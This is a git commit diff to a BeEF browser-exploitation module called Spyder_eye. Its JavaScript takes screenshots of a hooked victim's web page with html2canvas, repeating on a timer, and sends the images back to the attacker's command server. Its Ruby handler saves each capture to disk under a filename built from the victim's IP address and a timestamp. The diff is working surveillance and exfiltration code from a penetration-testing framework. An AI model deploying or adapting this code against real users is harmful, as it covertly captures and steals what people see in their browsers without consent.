Applied some of @bcoles ideas regarding post_execute handler, also added beef.debug and parseInt base conversion

This commit is contained in:
mgeeky
2016-04-15 10:03:37 +02:00
parent ae2488e7bd
commit 6cc5a822d7
2 changed files with 12 additions and 8 deletions

View File

@@ -6,24 +6,27 @@
beef.execute(function() {
var takes = parseInt('<%= @repeat %>') || 1;
var delay = parseInt('<%= @delay %>') || 0;
var takes = parseInt('<%= @repeat %>', 10) || 1;
var delay = parseInt('<%= @delay %>', 10) || 0;
snap = function(num) {
snap = function() {
try {
html2canvas(document.body).then(function(canvas) {
var d = canvas.toDataURL('image/png');
beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'image=' + d );
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
});
beef.debug('html2canvas hasn\'t failed, that\'s something');
}
catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'result=Obtaining snapshot failed: ' + e.message);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
}
};
takeit = function() {
for(var i = 0; i < takes; i++) {
setTimeout(snap(i), delay);
beef.debug('Taking ' + i + '. snapshot');
setTimeout(snap, delay);
}
};

View File

@@ -4,7 +4,6 @@
# See the file 'doc/COPYING' for copying permission
#
class Spyder_eye < BeEF::Core::Command
require 'base64'
def self.options
return [
@@ -24,7 +23,9 @@ class Spyder_eye < BeEF::Core::Command
# save screenshot file
begin
filename = "screenshot_#{Integer(@datastore['cid'])}.png"
timestamp = Time.now.getutc.to_s.gsub(/[ :]/, ' ' => '_', ':' => '-').chomp('_UTC')
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP')
filename = "screenshot_#{ip}_#{timestamp}_#{@datastore['cid']}.png"
File.open(filename, 'wb') do |file|
data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "")
file.write(Base64.decode64(data))